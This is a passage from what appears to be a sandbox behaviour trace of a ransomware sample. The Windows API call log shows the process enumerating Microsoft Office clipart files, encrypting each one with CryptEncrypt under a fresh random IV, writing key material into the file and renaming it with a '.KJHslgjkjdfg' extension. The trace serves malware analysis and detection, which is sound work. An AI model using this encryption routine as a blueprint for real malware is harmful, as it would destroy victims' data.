dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.813] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.813] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.813] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.813] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.813] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.814] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.814] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.814] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.814] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x788, lpOverlapped=0x0) returned 1 [0196.814] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x790, dwBufLen=0x790 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x790) returned 1 [0196.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.814] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x790, lpOverlapped=0x0) returned 1 [0196.814] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.814] SetEndOfFile (hFile=0x130) returned 1 [0196.817] GetProcessHeap () returned 0x2ef0000 [0196.817] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.817] GetProcessHeap () returned 0x2ef0000 [0196.817] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.kjhslgjkjdfg")) returned 1 [0196.818] CloseHandle (hObject=0x130) returned 1 [0196.819] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0196.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.819] GetProcessHeap () returned 0x2ef0000 [0196.819] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.819] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.819] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.822] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.822] GetProcessHeap () returned 0x2ef0000 [0196.822] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.822] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.822] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.823] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.823] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x23d4, lpOverlapped=0x0) returned 1 [0196.824] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x23e0, dwBufLen=0x23e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x23e0) returned 1 [0196.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.824] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x23e0, lpOverlapped=0x0) returned 1 [0196.824] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.824] SetEndOfFile (hFile=0x130) returned 1 [0196.827] GetProcessHeap () returned 0x2ef0000 [0196.827] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.827] GetProcessHeap () returned 0x2ef0000 [0196.827] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.kjhslgjkjdfg")) returned 1 [0196.828] CloseHandle (hObject=0x130) returned 1 [0196.828] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0196.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.830] GetProcessHeap () returned 0x2ef0000 [0196.830] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.830] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.830] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.832] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.832] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.832] GetProcessHeap () returned 0x2ef0000 [0196.832] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.832] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.832] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.832] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.832] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.832] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.833] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.833] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.833] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.833] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.833] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x31cc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x31cc, lpOverlapped=0x0) returned 1 [0196.834] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31d0, dwBufLen=0x31d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x31d0) returned 1 [0196.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.834] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x31d0, lpOverlapped=0x0) returned 1 [0196.834] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.834] SetEndOfFile (hFile=0x130) returned 1 [0196.837] GetProcessHeap () returned 0x2ef0000 [0196.837] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.837] GetProcessHeap () returned 0x2ef0000 [0196.837] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.kjhslgjkjdfg")) returned 1 [0196.838] CloseHandle (hObject=0x130) returned 1 [0196.838] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0196.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.839] GetProcessHeap () returned 0x2ef0000 [0196.839] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.839] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.839] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.841] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.841] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.841] GetProcessHeap () returned 0x2ef0000 [0196.842] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.842] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.842] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.842] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.842] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.842] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.842] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.842] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.842] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.842] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.842] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b08, lpOverlapped=0x0) returned 1 [0196.843] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b10) returned 1 [0196.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.843] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b10, lpOverlapped=0x0) returned 1 [0196.844] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.844] SetEndOfFile (hFile=0x130) returned 1 [0196.845] GetProcessHeap () returned 0x2ef0000 [0196.845] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.845] GetProcessHeap () returned 0x2ef0000 [0196.845] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.kjhslgjkjdfg")) returned 1 [0196.846] CloseHandle (hObject=0x130) returned 1 [0196.846] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0196.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.847] GetProcessHeap () returned 0x2ef0000 [0196.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.847] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.847] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.850] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.850] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.850] GetProcessHeap () returned 0x2ef0000 [0196.850] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.850] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.850] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.850] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.851] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.851] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, 